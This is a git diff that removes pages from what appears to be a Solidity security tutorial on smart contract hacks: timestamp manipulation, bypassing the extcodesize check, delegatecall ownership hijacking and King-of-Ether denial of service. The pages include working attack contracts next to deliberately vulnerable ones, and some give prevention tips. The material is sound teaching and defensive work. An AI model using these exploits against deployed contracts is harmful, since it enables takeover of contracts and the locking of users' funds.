-` - -export default html diff --git a/src/pages/hacks/block-timestamp-manipulation/index.md b/src/pages/hacks/block-timestamp-manipulation/index.md deleted file mode 100644 index c0e3d9772..000000000 --- a/src/pages/hacks/block-timestamp-manipulation/index.md +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: Block Timestamp Manipulation -version: 0.8.20 -description: An example of a Solidity contract vulnerable to block timestamp manipulation -keywords: [hack, security, block, timestamp, manipulation] ---- - -### Vulnerability - -`block.timestamp` can be manipulated by miners with the following constraints - -- it cannot be stamped with an earlier time than its parent -- it cannot be too far in the future - -```solidity -{{{BlockTimestamp}}} -``` - -### Preventative Techniques - -- Don't use `block.timestamp` for a source of entropy and random number diff --git a/src/pages/hacks/block-timestamp-manipulation/index.tsx b/src/pages/hacks/block-timestamp-manipulation/index.tsx deleted file mode 100644 index 1c63a4f4a..000000000 --- a/src/pages/hacks/block-timestamp-manipulation/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/hacks/contract-size/ContractSize.sol b/src/pages/hacks/contract-size/ContractSize.sol deleted file mode 100644 index 1f0408d05..000000000 --- a/src/pages/hacks/contract-size/ContractSize.sol +++ /dev/null @@ -1,45 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -contract Target { - function isContract(address account) public view returns (bool) { - // This method relies on extcodesize, which returns 0 for contracts in - // construction, since the code is only stored at the end of the - // constructor execution. - uint size; - assembly { - size := extcodesize(account) - } - return size > 0; - } - - bool public pwned = false; - - function protected() external { - require(!isContract(msg.sender), "no contract allowed"); - pwned = true; - } -} - -contract FailedAttack { - // Attempting to call Target.protected will fail, - // Target block calls from contract - function pwn(address _target) external { - // This will fail - Target(_target).protected(); - } -} - -contract Hack { - bool public isContract; - address public addr; - - // When contract is being created, code size (extcodesize) is 0. - // This will bypass the isContract() check - constructor(address _target) { - isContract = Target(_target).isContract(address(this)); - addr = address(this); - // This will work - Target(_target).protected(); - } -} diff --git a/src/pages/hacks/contract-size/index.html.ts b/src/pages/hacks/contract-size/index.html.ts deleted file mode 100644 index 4d9997415..000000000 --- a/src/pages/hacks/contract-size/index.html.ts +++ /dev/null @@ -1,73 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Bypass Contract Size Check" -export const description = "An example of bypassing contract size check" - -export const keywords = [ - "hack", - "security", - "bypass", - "contract", - "size", - "check", - "extcodesize", -] - -export const codes = [ - { - fileName: "ContractSize.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IFRhcmdldCB7CiAgICBmdW5jdGlvbiBpc0NvbnRyYWN0KGFkZHJlc3MgYWNjb3VudCkgcHVibGljIHZpZXcgcmV0dXJucyAoYm9vbCkgewogICAgICAgIC8vIFRoaXMgbWV0aG9kIHJlbGllcyBvbiBleHRjb2Rlc2l6ZSwgd2hpY2ggcmV0dXJucyAwIGZvciBjb250cmFjdHMgaW4KICAgICAgICAvLyBjb25zdHJ1Y3Rpb24sIHNpbmNlIHRoZSBjb2RlIGlzIG9ubHkgc3RvcmVkIGF0IHRoZSBlbmQgb2YgdGhlCiAgICAgICAgLy8gY29uc3RydWN0b3IgZXhlY3V0aW9uLgogICAgICAgIHVpbnQgc2l6ZTsKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIHNpemUgOj0gZXh0Y29kZXNpemUoYWNjb3VudCkKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHNpemUgPiAwOwogICAgfQoKICAgIGJvb2wgcHVibGljIHB3bmVkID0gZmFsc2U7CgogICAgZnVuY3Rpb24gcHJvdGVjdGVkKCkgZXh0ZXJuYWwgewogICAgICAgIHJlcXVpcmUoIWlzQ29udHJhY3QobXNnLnNlbmRlciksICJubyBjb250cmFjdCBhbGxvd2VkIik7CiAgICAgICAgcHduZWQgPSB0cnVlOwogICAgfQp9Cgpjb250cmFjdCBGYWlsZWRBdHRhY2sgewogICAgLy8gQXR0ZW1wdGluZyB0byBjYWxsIFRhcmdldC5wcm90ZWN0ZWQgd2lsbCBmYWlsLAogICAgLy8gVGFyZ2V0IGJsb2NrIGNhbGxzIGZyb20gY29udHJhY3QKICAgIGZ1bmN0aW9uIHB3bihhZGRyZXNzIF90YXJnZXQpIGV4dGVybmFsIHsKICAgICAgICAvLyBUaGlzIHdpbGwgZmFpbAogICAgICAgIFRhcmdldChfdGFyZ2V0KS5wcm90ZWN0ZWQoKTsKICAgIH0KfQoKY29udHJhY3QgSGFjayB7CiAgICBib29sIHB1YmxpYyBpc0NvbnRyYWN0OwogICAgYWRkcmVzcyBwdWJsaWMgYWRkcjsKCiAgICAvLyBXaGVuIGNvbnRyYWN0IGlzIGJlaW5nIGNyZWF0ZWQsIGNvZGUgc2l6ZSAoZXh0Y29kZXNpemUpIGlzIDAuCiAgICAvLyBUaGlzIHdpbGwgYnlwYXNzIHRoZSBpc0NvbnRyYWN0KCkgY2hlY2sKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3MgX3RhcmdldCkgewogICAgICAgIGlzQ29udHJhY3QgPSBUYXJnZXQoX3RhcmdldCkuaXNDb250cmFjdChhZGRyZXNzKHRoaXMpKTsKICAgICAgICBhZGRyID0gYWRkcmVzcyh0aGlzKTsKICAgICAgICAvLyBUaGlzIHdpbGwgd29yawogICAgICAgIFRhcmdldChfdGFyZ2V0KS5wcm90ZWN0ZWQoKTsKICAgIH0KfQo=", - }, -] - -const html = `

Vulnerability

-

If an address is a contract then the size of code stored at the address will be greater than 0 right?

-

Let's see how we can create a contract with code size returned by extcodesize equal to 0.

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-contract Target {
-    function isContract(address account) public view returns (bool) {
-        // This method relies on extcodesize, which returns 0 for contracts in
-        // construction, since the code is only stored at the end of the
-        // constructor execution.
-        uint size;
-        assembly {
-            size := extcodesize(account)
-        }
-        return size > 0;
-    }
-
-    bool public pwned = false;
-
-    function protected() external {
-        require(!isContract(msg.sender), "no contract allowed");
-        pwned = true;
-    }
-}
-
-contract FailedAttack {
-    // Attempting to call Target.protected will fail,
-    // Target block calls from contract
-    function pwn(address _target) external {
-        // This will fail
-        Target(_target).protected();
-    }
-}
-
-contract Hack {
-    bool public isContract;
-    address public addr;
-
-    // When contract is being created, code size (extcodesize) is 0.
-    // This will bypass the isContract() check
-    constructor(address _target) {
-        isContract = Target(_target).isContract(address(this));
-        addr = address(this);
-        // This will work
-        Target(_target).protected();
-    }
-}
-
` - -export default html diff --git a/src/pages/hacks/contract-size/index.md b/src/pages/hacks/contract-size/index.md deleted file mode 100644 index 85396259c..000000000 --- a/src/pages/hacks/contract-size/index.md +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: Bypass Contract Size Check -version: 0.8.20 -description: An example of bypassing contract size check -keywords: [hack, security, bypass, contract, size, check, extcodesize] ---- - -### Vulnerability - -If an address is a contract then the size of code stored at the address will be greater than 0 right? - -Let's see how we can create a contract with code size returned by `extcodesize` equal to 0. - -```solidity -{{{ContractSize}}} -``` diff --git a/src/pages/hacks/contract-size/index.tsx b/src/pages/hacks/contract-size/index.tsx deleted file mode 100644 index 1c63a4f4a..000000000 --- a/src/pages/hacks/contract-size/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/hacks/delegatecall/Delegatecall_1.sol b/src/pages/hacks/delegatecall/Delegatecall_1.sol deleted file mode 100644 index b1466d4a5..000000000 --- a/src/pages/hacks/delegatecall/Delegatecall_1.sol +++ /dev/null @@ -1,60 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -/* -HackMe is a contract that uses delegatecall to execute code. -It is not obvious that the owner of HackMe can be changed since there is no -function inside HackMe to do so. However an attacker can hijack the -contract by exploiting delegatecall. Let's see how. - -1. Alice deploys Lib -2. Alice deploys HackMe with address of Lib -3. Eve deploys Attack with address of HackMe -4. Eve calls Attack.attack() -5. Attack is now the owner of HackMe - -What happened? -Eve called Attack.attack(). -Attack called the fallback function of HackMe sending the function -selector of pwn(). HackMe forwards the call to Lib using delegatecall. -Here msg.data contains the function selector of pwn(). -This tells Solidity to call the function pwn() inside Lib. -The function pwn() updates the owner to msg.sender. -Delegatecall runs the code of Lib using the context of HackMe. -Therefore HackMe's storage was updated to msg.sender where msg.sender is the -caller of HackMe, in this case Attack. -*/ - -contract Lib { - address public owner; - - function pwn() public { - owner = msg.sender; - } -} - -contract HackMe { - address public owner; - Lib public lib; - - constructor(Lib _lib) { - owner = msg.sender; - lib = Lib(_lib); - } - - fallback() external payable { - address(lib).delegatecall(msg.data); - } -} - -contract Attack { - address public hackMe; - - constructor(address _hackMe) { - hackMe = _hackMe; - } - - function attack() public { - hackMe.call(abi.encodeWithSignature("pwn()")); - } -} diff --git a/src/pages/hacks/delegatecall/Delegatecall_2.sol b/src/pages/hacks/delegatecall/Delegatecall_2.sol deleted file mode 100644 index f0e5e834a..000000000 --- a/src/pages/hacks/delegatecall/Delegatecall_2.sol +++ /dev/null @@ -1,71 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -/* -This is a more sophisticated version of the previous exploit. - -1. Alice deploys Lib and HackMe with the address of Lib -2. Eve deploys Attack with the address of HackMe -3. Eve calls Attack.attack() -4. Attack is now the owner of HackMe - -What happened? -Notice that the state variables are not defined in the same manner in Lib -and HackMe. This means that calling Lib.doSomething() will change the first -state variable inside HackMe, which happens to be the address of lib. - -Inside attack(), the first call to doSomething() changes the address of lib -store in HackMe. Address of lib is now set to Attack. -The second call to doSomething() calls Attack.doSomething() and here we -change the owner. -*/ - -contract Lib { - uint public someNumber; - - function doSomething(uint _num) public { - someNumber = _num; - } -} - -contract HackMe { - address public lib; - address public owner; - uint public someNumber; - - constructor(address _lib) { - lib = _lib; - owner = msg.sender; - } - - function doSomething(uint _num) public { - lib.delegatecall(abi.encodeWithSignature("doSomething(uint256)", _num)); - } -} - -contract Attack { - // Make sure the storage layout is the same as HackMe - // This will allow us to correctly update the state variables - address public lib; - address public owner; - uint public someNumber; - - HackMe public hackMe; - - constructor(HackMe _hackMe) { - hackMe = HackMe(_hackMe); - } - - function attack() public { - // override address of lib - hackMe.doSomething(uint(uint160(address(this)))); - // pass any number as input, the function doSomething() below will - // be called - hackMe.doSomething(1); - } - - // function signature must match HackMe.doSomething() - function doSomething(uint _num) public { - owner = msg.sender; - } -} diff --git a/src/pages/hacks/delegatecall/index.html.ts b/src/pages/hacks/delegatecall/index.html.ts deleted file mode 100644 index a9fe1b252..000000000 --- a/src/pages/hacks/delegatecall/index.html.ts +++ /dev/null @@ -1,167 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Delegatecall" -export const description = "An example of exploits using delegatecall in Solidity" - -export const keywords = ["hack", "security", "delegatecall"] - -export const codes = [ - { - fileName: "Delegatecall_1.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8qCkhhY2tNZSBpcyBhIGNvbnRyYWN0IHRoYXQgdXNlcyBkZWxlZ2F0ZWNhbGwgdG8gZXhlY3V0ZSBjb2RlLgpJdCBpcyBub3Qgb2J2aW91cyB0aGF0IHRoZSBvd25lciBvZiBIYWNrTWUgY2FuIGJlIGNoYW5nZWQgc2luY2UgdGhlcmUgaXMgbm8KZnVuY3Rpb24gaW5zaWRlIEhhY2tNZSB0byBkbyBzby4gSG93ZXZlciBhbiBhdHRhY2tlciBjYW4gaGlqYWNrIHRoZQpjb250cmFjdCBieSBleHBsb2l0aW5nIGRlbGVnYXRlY2FsbC4gTGV0J3Mgc2VlIGhvdy4KCjEuIEFsaWNlIGRlcGxveXMgTGliCjIuIEFsaWNlIGRlcGxveXMgSGFja01lIHdpdGggYWRkcmVzcyBvZiBMaWIKMy4gRXZlIGRlcGxveXMgQXR0YWNrIHdpdGggYWRkcmVzcyBvZiBIYWNrTWUKNC4gRXZlIGNhbGxzIEF0dGFjay5hdHRhY2soKQo1LiBBdHRhY2sgaXMgbm93IHRoZSBvd25lciBvZiBIYWNrTWUKCldoYXQgaGFwcGVuZWQ/CkV2ZSBjYWxsZWQgQXR0YWNrLmF0dGFjaygpLgpBdHRhY2sgY2FsbGVkIHRoZSBmYWxsYmFjayBmdW5jdGlvbiBvZiBIYWNrTWUgc2VuZGluZyB0aGUgZnVuY3Rpb24Kc2VsZWN0b3Igb2YgcHduKCkuIEhhY2tNZSBmb3J3YXJkcyB0aGUgY2FsbCB0byBMaWIgdXNpbmcgZGVsZWdhdGVjYWxsLgpIZXJlIG1zZy5kYXRhIGNvbnRhaW5zIHRoZSBmdW5jdGlvbiBzZWxlY3RvciBvZiBwd24oKS4KVGhpcyB0ZWxscyBTb2xpZGl0eSB0byBjYWxsIHRoZSBmdW5jdGlvbiBwd24oKSBpbnNpZGUgTGliLgpUaGUgZnVuY3Rpb24gcHduKCkgdXBkYXRlcyB0aGUgb3duZXIgdG8gbXNnLnNlbmRlci4KRGVsZWdhdGVjYWxsIHJ1bnMgdGhlIGNvZGUgb2YgTGliIHVzaW5nIHRoZSBjb250ZXh0IG9mIEhhY2tNZS4KVGhlcmVmb3JlIEhhY2tNZSdzIHN0b3JhZ2Ugd2FzIHVwZGF0ZWQgdG8gbXNnLnNlbmRlciB3aGVyZSBtc2cuc2VuZGVyIGlzIHRoZQpjYWxsZXIgb2YgSGFja01lLCBpbiB0aGlzIGNhc2UgQXR0YWNrLgoqLwoKY29udHJhY3QgTGliIHsKICAgIGFkZHJlc3MgcHVibGljIG93bmVyOwoKICAgIGZ1bmN0aW9uIHB3bigpIHB1YmxpYyB7CiAgICAgICAgb3duZXIgPSBtc2cuc2VuZGVyOwogICAgfQp9Cgpjb250cmFjdCBIYWNrTWUgewogICAgYWRkcmVzcyBwdWJsaWMgb3duZXI7CiAgICBMaWIgcHVibGljIGxpYjsKCiAgICBjb25zdHJ1Y3RvcihMaWIgX2xpYikgewogICAgICAgIG93bmVyID0gbXNnLnNlbmRlcjsKICAgICAgICBsaWIgPSBMaWIoX2xpYik7CiAgICB9CgogICAgZmFsbGJhY2soKSBleHRlcm5hbCBwYXlhYmxlIHsKICAgICAgICBhZGRyZXNzKGxpYikuZGVsZWdhdGVjYWxsKG1zZy5kYXRhKTsKICAgIH0KfQoKY29udHJhY3QgQXR0YWNrIHsKICAgIGFkZHJlc3MgcHVibGljIGhhY2tNZTsKCiAgICBjb25zdHJ1Y3RvcihhZGRyZXNzIF9oYWNrTWUpIHsKICAgICAgICBoYWNrTWUgPSBfaGFja01lOwogICAgfQoKICAgIGZ1bmN0aW9uIGF0dGFjaygpIHB1YmxpYyB7CiAgICAgICAgaGFja01lLmNhbGwoYWJpLmVuY29kZVdpdGhTaWduYXR1cmUoInB3bigpIikpOwogICAgfQp9Cg==", - }, - { - fileName: "Delegatecall_2.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8qClRoaXMgaXMgYSBtb3JlIHNvcGhpc3RpY2F0ZWQgdmVyc2lvbiBvZiB0aGUgcHJldmlvdXMgZXhwbG9pdC4KCjEuIEFsaWNlIGRlcGxveXMgTGliIGFuZCBIYWNrTWUgd2l0aCB0aGUgYWRkcmVzcyBvZiBMaWIKMi4gRXZlIGRlcGxveXMgQXR0YWNrIHdpdGggdGhlIGFkZHJlc3Mgb2YgSGFja01lCjMuIEV2ZSBjYWxscyBBdHRhY2suYXR0YWNrKCkKNC4gQXR0YWNrIGlzIG5vdyB0aGUgb3duZXIgb2YgSGFja01lCgpXaGF0IGhhcHBlbmVkPwpOb3RpY2UgdGhhdCB0aGUgc3RhdGUgdmFyaWFibGVzIGFyZSBub3QgZGVmaW5lZCBpbiB0aGUgc2FtZSBtYW5uZXIgaW4gTGliCmFuZCBIYWNrTWUuIFRoaXMgbWVhbnMgdGhhdCBjYWxsaW5nIExpYi5kb1NvbWV0aGluZygpIHdpbGwgY2hhbmdlIHRoZSBmaXJzdApzdGF0ZSB2YXJpYWJsZSBpbnNpZGUgSGFja01lLCB3aGljaCBoYXBwZW5zIHRvIGJlIHRoZSBhZGRyZXNzIG9mIGxpYi4KCkluc2lkZSBhdHRhY2soKSwgdGhlIGZpcnN0IGNhbGwgdG8gZG9Tb21ldGhpbmcoKSBjaGFuZ2VzIHRoZSBhZGRyZXNzIG9mIGxpYgpzdG9yZSBpbiBIYWNrTWUuIEFkZHJlc3Mgb2YgbGliIGlzIG5vdyBzZXQgdG8gQXR0YWNrLgpUaGUgc2Vjb25kIGNhbGwgdG8gZG9Tb21ldGhpbmcoKSBjYWxscyBBdHRhY2suZG9Tb21ldGhpbmcoKSBhbmQgaGVyZSB3ZQpjaGFuZ2UgdGhlIG93bmVyLgoqLwoKY29udHJhY3QgTGliIHsKICAgIHVpbnQgcHVibGljIHNvbWVOdW1iZXI7CgogICAgZnVuY3Rpb24gZG9Tb21ldGhpbmcodWludCBfbnVtKSBwdWJsaWMgewogICAgICAgIHNvbWVOdW1iZXIgPSBfbnVtOwogICAgfQp9Cgpjb250cmFjdCBIYWNrTWUgewogICAgYWRkcmVzcyBwdWJsaWMgbGliOwogICAgYWRkcmVzcyBwdWJsaWMgb3duZXI7CiAgICB1aW50IHB1YmxpYyBzb21lTnVtYmVyOwoKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3MgX2xpYikgewogICAgICAgIGxpYiA9IF9saWI7CiAgICAgICAgb3duZXIgPSBtc2cuc2VuZGVyOwogICAgfQoKICAgIGZ1bmN0aW9uIGRvU29tZXRoaW5nKHVpbnQgX251bSkgcHVibGljIHsKICAgICAgICBsaWIuZGVsZWdhdGVjYWxsKGFiaS5lbmNvZGVXaXRoU2lnbmF0dXJlKCJkb1NvbWV0aGluZyh1aW50MjU2KSIsIF9udW0pKTsKICAgIH0KfQoKY29udHJhY3QgQXR0YWNrIHsKICAgIC8vIE1ha2Ugc3VyZSB0aGUgc3RvcmFnZSBsYXlvdXQgaXMgdGhlIHNhbWUgYXMgSGFja01lCiAgICAvLyBUaGlzIHdpbGwgYWxsb3cgdXMgdG8gY29ycmVjdGx5IHVwZGF0ZSB0aGUgc3RhdGUgdmFyaWFibGVzCiAgICBhZGRyZXNzIHB1YmxpYyBsaWI7CiAgICBhZGRyZXNzIHB1YmxpYyBvd25lcjsKICAgIHVpbnQgcHVibGljIHNvbWVOdW1iZXI7CgogICAgSGFja01lIHB1YmxpYyBoYWNrTWU7CgogICAgY29uc3RydWN0b3IoSGFja01lIF9oYWNrTWUpIHsKICAgICAgICBoYWNrTWUgPSBIYWNrTWUoX2hhY2tNZSk7CiAgICB9CgogICAgZnVuY3Rpb24gYXR0YWNrKCkgcHVibGljIHsKICAgICAgICAvLyBvdmVycmlkZSBhZGRyZXNzIG9mIGxpYgogICAgICAgIGhhY2tNZS5kb1NvbWV0aGluZyh1aW50KHVpbnQxNjAoYWRkcmVzcyh0aGlzKSkpKTsKICAgICAgICAvLyBwYXNzIGFueSBudW1iZXIgYXMgaW5wdXQsIHRoZSBmdW5jdGlvbiBkb1NvbWV0aGluZygpIGJlbG93IHdpbGwKICAgICAgICAvLyBiZSBjYWxsZWQKICAgICAgICBoYWNrTWUuZG9Tb21ldGhpbmcoMSk7CiAgICB9CgogICAgLy8gZnVuY3Rpb24gc2lnbmF0dXJlIG11c3QgbWF0Y2ggSGFja01lLmRvU29tZXRoaW5nKCkKICAgIGZ1bmN0aW9uIGRvU29tZXRoaW5nKHVpbnQgX251bSkgcHVibGljIHsKICAgICAgICBvd25lciA9IG1zZy5zZW5kZXI7CiAgICB9Cn0K", - }, -] - -const html = `

Vulnerability

-

delegatecall is tricky to use and wrong usage or incorrect understanding -can lead to devastating results.

-

You must keep 2 things in mind when using delegatecall

-
    -
  1. delegatecall preserves context (storage, caller, etc...)
  2. -
  3. storage layout must be the same for the contract calling delegatecall and the contract getting called
  4. -
-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-/*
-HackMe is a contract that uses delegatecall to execute code.
-It is not obvious that the owner of HackMe can be changed since there is no
-function inside HackMe to do so. However an attacker can hijack the
-contract by exploiting delegatecall. Let's see how.
-
-1. Alice deploys Lib
-2. Alice deploys HackMe with address of Lib
-3. Eve deploys Attack with address of HackMe
-4. Eve calls Attack.attack()
-5. Attack is now the owner of HackMe
-
-What happened?
-Eve called Attack.attack().
-Attack called the fallback function of HackMe sending the function
-selector of pwn(). HackMe forwards the call to Lib using delegatecall.
-Here msg.data contains the function selector of pwn().
-This tells Solidity to call the function pwn() inside Lib.
-The function pwn() updates the owner to msg.sender.
-Delegatecall runs the code of Lib using the context of HackMe.
-Therefore HackMe's storage was updated to msg.sender where msg.sender is the
-caller of HackMe, in this case Attack.
-*/
-
-contract Lib {
-    address public owner;
-
-    function pwn() public {
-        owner = msg.sender;
-    }
-}
-
-contract HackMe {
-    address public owner;
-    Lib public lib;
-
-    constructor(Lib _lib) {
-        owner = msg.sender;
-        lib = Lib(_lib);
-    }
-
-    fallback() external payable {
-        address(lib).delegatecall(msg.data);
-    }
-}
-
-contract Attack {
-    address public hackMe;
-
-    constructor(address _hackMe) {
-        hackMe = _hackMe;
-    }
-
-    function attack() public {
-        hackMe.call(abi.encodeWithSignature("pwn()"));
-    }
-}
-

Here is another example.

-

You will need to understand how Solidity stores -state variables before you can understand this exploit.

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-/*
-This is a more sophisticated version of the previous exploit.
-
-1. Alice deploys Lib and HackMe with the address of Lib
-2. Eve deploys Attack with the address of HackMe
-3. Eve calls Attack.attack()
-4. Attack is now the owner of HackMe
-
-What happened?
-Notice that the state variables are not defined in the same manner in Lib
-and HackMe. This means that calling Lib.doSomething() will change the first
-state variable inside HackMe, which happens to be the address of lib.
-
-Inside attack(), the first call to doSomething() changes the address of lib
-store in HackMe. Address of lib is now set to Attack.
-The second call to doSomething() calls Attack.doSomething() and here we
-change the owner.
-*/
-
-contract Lib {
-    uint public someNumber;
-
-    function doSomething(uint _num) public {
-        someNumber = _num;
-    }
-}
-
-contract HackMe {
-    address public lib;
-    address public owner;
-    uint public someNumber;
-
-    constructor(address _lib) {
-        lib = _lib;
-        owner = msg.sender;
-    }
-
-    function doSomething(uint _num) public {
-        lib.delegatecall(abi.encodeWithSignature("doSomething(uint256)", _num));
-    }
-}
-
-contract Attack {
-    // Make sure the storage layout is the same as HackMe
-    // This will allow us to correctly update the state variables
-    address public lib;
-    address public owner;
-    uint public someNumber;
-
-    HackMe public hackMe;
-
-    constructor(HackMe _hackMe) {
-        hackMe = HackMe(_hackMe);
-    }
-
-    function attack() public {
-        // override address of lib
-        hackMe.doSomething(uint(uint160(address(this))));
-        // pass any number as input, the function doSomething() below will
-        // be called
-        hackMe.doSomething(1);
-    }
-
-    // function signature must match HackMe.doSomething()
-    function doSomething(uint _num) public {
-        owner = msg.sender;
-    }
-}
-

Preventative Techniques

-
    -
  • Use stateless Library
  • -
-` - -export default html diff --git a/src/pages/hacks/delegatecall/index.md b/src/pages/hacks/delegatecall/index.md deleted file mode 100644 index 204847567..000000000 --- a/src/pages/hacks/delegatecall/index.md +++ /dev/null @@ -1,33 +0,0 @@ ---- -title: Delegatecall -version: 0.8.20 -description: An example of exploits using delegatecall in Solidity -keywords: [hack, security, delegatecall] ---- - -### Vulnerability - -`delegatecall` is tricky to use and wrong usage or incorrect understanding -can lead to devastating results. - -You must keep 2 things in mind when using `delegatecall` - -1. `delegatecall` preserves context (storage, caller, etc...) -2. storage layout must be the same for the contract calling `delegatecall` and the contract getting called - -```solidity -{{{Delegatecall_1}}} -``` - -Here is another example. - -You will need to understand how Solidity stores -state variables before you can understand this exploit. - -```solidity -{{{Delegatecall_2}}} -``` - -### Preventative Techniques - -- Use stateless `Library` diff --git a/src/pages/hacks/delegatecall/index.tsx b/src/pages/hacks/delegatecall/index.tsx deleted file mode 100644 index 1c63a4f4a..000000000 --- a/src/pages/hacks/delegatecall/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/hacks/denial-of-service/DenialOfService.sol b/src/pages/hacks/denial-of-service/DenialOfService.sol deleted file mode 100644 index da4ff2a5c..000000000 --- a/src/pages/hacks/denial-of-service/DenialOfService.sol +++ /dev/null @@ -1,58 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -/* -The goal of KingOfEther is to become the king by sending more Ether than -the previous king. Previous king will be refunded with the amount of Ether -he sent. -*/ - -/* -1. Deploy KingOfEther -2. Alice becomes the king by sending 1 Ether to claimThrone(). -2. Bob becomes the king by sending 2 Ether to claimThrone(). - Alice receives a refund of 1 Ether. -3. Deploy Attack with address of KingOfEther. -4. Call attack with 3 Ether. -5. Current king is the Attack contract and no one can become the new king. - -What happened? -Attack became the king. All new challenge to claim the throne will be rejected -since Attack contract does not have a fallback function, denying to accept the -Ether sent from KingOfEther before the new king is set. -*/ - -contract KingOfEther { - address public king; - uint public balance; - - function claimThrone() external payable { - require(msg.value > balance, "Need to pay more to become the king"); - - (bool sent, ) = king.call{value: balance}(""); - require(sent, "Failed to send Ether"); - - balance = msg.value; - king = msg.sender; - } -} - -contract Attack { - KingOfEther kingOfEther; - - constructor(KingOfEther _kingOfEther) { - kingOfEther = KingOfEther(_kingOfEther); - } - - // You can also perform a DOS by consuming all gas using assert. - // This attack will work even if the calling contract does not check - // whether the call was successful or not. - // - // function () external payable { - // assert(false); - // } - - function attack() public payable { - kingOfEther.claimThrone{value: msg.value}(); - } -} diff --git a/src/pages/hacks/denial-of-service/PreventDenialOfService.sol b/src/pages/hacks/denial-of-service/PreventDenialOfService.sol deleted file mode 100644 index 27b40f9de..000000000 --- a/src/pages/hacks/denial-of-service/PreventDenialOfService.sol +++ /dev/null @@ -1,27 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -contract KingOfEther { - address public king; - uint public balance; - mapping(address => uint) public balances; - - function claimThrone() external payable { - require(msg.value > balance, "Need to pay more to become the king"); - - balances[king] += balance; - - balance = msg.value; - king = msg.sender; - } - - function withdraw() public { - require(msg.sender != king, "Current king cannot withdraw"); - - uint amount = balances[msg.sender]; - balances[msg.sender] = 0; - - (bool sent, ) = msg.sender.call{value: amount}(""); - require(sent, "Failed to send Ether"); - } -} diff --git a/src/pages/hacks/denial-of-service/index.html.ts b/src/pages/hacks/denial-of-service/index.html.ts deleted file mode 100644 index bbced7de3..000000000 --- a/src/pages/hacks/denial-of-service/index.html.ts +++ /dev/null @@ -1,112 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Denial of Service" -export const description = "An example of denial of service hack in Solidity" - -export const keywords = ["hack", "security", "denial", "service"] - -export const codes = [ - { - fileName: "DenialOfService.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8qClRoZSBnb2FsIG9mIEtpbmdPZkV0aGVyIGlzIHRvIGJlY29tZSB0aGUga2luZyBieSBzZW5kaW5nIG1vcmUgRXRoZXIgdGhhbgp0aGUgcHJldmlvdXMga2luZy4gUHJldmlvdXMga2luZyB3aWxsIGJlIHJlZnVuZGVkIHdpdGggdGhlIGFtb3VudCBvZiBFdGhlcgpoZSBzZW50LgoqLwoKLyoKMS4gRGVwbG95IEtpbmdPZkV0aGVyCjIuIEFsaWNlIGJlY29tZXMgdGhlIGtpbmcgYnkgc2VuZGluZyAxIEV0aGVyIHRvIGNsYWltVGhyb25lKCkuCjIuIEJvYiBiZWNvbWVzIHRoZSBraW5nIGJ5IHNlbmRpbmcgMiBFdGhlciB0byBjbGFpbVRocm9uZSgpLgogICBBbGljZSByZWNlaXZlcyBhIHJlZnVuZCBvZiAxIEV0aGVyLgozLiBEZXBsb3kgQXR0YWNrIHdpdGggYWRkcmVzcyBvZiBLaW5nT2ZFdGhlci4KNC4gQ2FsbCBhdHRhY2sgd2l0aCAzIEV0aGVyLgo1LiBDdXJyZW50IGtpbmcgaXMgdGhlIEF0dGFjayBjb250cmFjdCBhbmQgbm8gb25lIGNhbiBiZWNvbWUgdGhlIG5ldyBraW5nLgoKV2hhdCBoYXBwZW5lZD8KQXR0YWNrIGJlY2FtZSB0aGUga2luZy4gQWxsIG5ldyBjaGFsbGVuZ2UgdG8gY2xhaW0gdGhlIHRocm9uZSB3aWxsIGJlIHJlamVjdGVkCnNpbmNlIEF0dGFjayBjb250cmFjdCBkb2VzIG5vdCBoYXZlIGEgZmFsbGJhY2sgZnVuY3Rpb24sIGRlbnlpbmcgdG8gYWNjZXB0IHRoZQpFdGhlciBzZW50IGZyb20gS2luZ09mRXRoZXIgYmVmb3JlIHRoZSBuZXcga2luZyBpcyBzZXQuCiovCgpjb250cmFjdCBLaW5nT2ZFdGhlciB7CiAgICBhZGRy